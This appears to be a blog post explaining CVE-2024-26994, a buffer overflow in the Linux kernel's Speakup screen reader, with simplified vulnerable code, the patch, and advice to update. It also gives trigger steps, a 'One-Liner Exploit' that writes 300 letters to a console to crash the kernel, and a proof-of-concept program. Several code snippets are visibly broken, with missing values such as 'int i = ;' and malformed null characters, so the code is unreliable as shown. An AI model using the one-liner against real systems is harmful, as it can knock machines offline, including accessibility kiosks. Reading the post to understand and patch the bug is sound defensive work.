In March 2024, a notable vulnerability—CVE-2024-26994—was discovered and patched in the Linux kernel's accessibility subsystem, Speakup. This bug may not be on every sysadmin’s radar, but it demonstrates how a seemingly simple buffer mishap can crash your system, especially on large console setups or customized devices. If you rely on accessibility features or just like digging into kernel bugs, this post is for you.

What is Speakup?

Speakup is a screen reader designed for visually impaired users, built right into the Linux kernel. It reads out the text from virtual consoles, helping users interact with the system through speech synthesis. Its core function is to grab words from the console, process them, and send them to a speech engine.

What’s CVE-2024-26994 All About?

The problem:
If you have an unusually big console (think: massive virtual terminals or custom framebuffer setups) and that console contains a *word* longer than 256 characters (without spaces or breaks), Speakup tries to copy that word into its fixed-size buffer… and overruns it. This could crash your kernel, potentially leading to a Denial of Service (DoS).

Vulnerable Component

- File/Subsystem: drivers/accessibility/speakup

Here is the relevant snippet before the fix, simplified for clarity (C code)

#define MAX_WORD_LEN 256

char word[MAX_WORD_LEN];
int i = ;

// Copy characters from the console into word buffer
while (isalpha(console[pos])) {
    word[i++] = console[pos++];
}

// No bounds check on 'i'!

The code simply copies every character from the console until it hits a non-letter—no check whether i already reached MAX_WORD_LEN. If you throw a word longer than 256 characters at it, boom—buffer overflow.

Access to local console (TTY): Direct access or remote control via tools like SSH is needed.

2. Enlarge virtual console: Make your terminal/console as wide as possible.
3. Create a long word: Generate a string with over 256 continuous characters (e.g., A repeated 300 times).

One-Liner Exploit

perl -e 'print "A"x300' > /dev/tty1
# Or simply paste 300+ letter word into the console

Now, if Speakup is active, and tries to read this "word", the buffer overflow will hit.

What happens next?
The kernel panics, the machine freezes or reboots—rendering it unusable until a hard restart.

Proof-of-Concept (PoC)

// This isn't a remote exploit, just a demonstration!
#include <stdio.h>
#include <string.h>

int main() {
    // Emulate Speakup word buffer
    char word[256];
    char *input = "AAAAAAAAAAAAAAAA..."; // 300+ As

    // Simulate vulnerable code
    int i = ;
    while (input[i] != '\') {
        word[i] = input[i];  // <-- Buffer overflow if i >= 256
        i++;
    }
    word[255] = '\'; // Not safe if overflowed
    printf("Word: %s\n", word);
}

The Patch: How Was It Fixed?

The fix is pretty simple—add a bounds check so the word buffer never overflows. Here’s the relevant change from the kernel commit (LKML link):

// Patched loop
while (isalpha(console[pos]) && i < MAX_WORD_LEN - 1) {
    word[i++] = console[pos++];
}
word[i] = '\';

Now, the loop quits before the buffer can overflow—even if the input word is 10,000 characters long.

Any distro with Speakup enabled (commonly on accessibility-focused or public kiosks)

- Systems with large virtual/physical consoles (e.g., custom setups, large monitors)
- Users able to access a physical/local console

References

- Linux Kernel Patch (LKML)
- CVE Details - CVE-2024-26994
- Speakup Screen Reader Project

TL;DR

CVE-2024-26994 shows us once again how small oversights in kernel code—especially around buffer management—can end with system instability. If you use the Speakup screen reader, patch now. If you enjoy finding weird kernel bugs, file this one under “classic buffer overflows that got away—until now.”

Timeline

Published on: 05/01/2024 06:15:17 UTC
Last modified on: 11/04/2024 17:35:12 UTC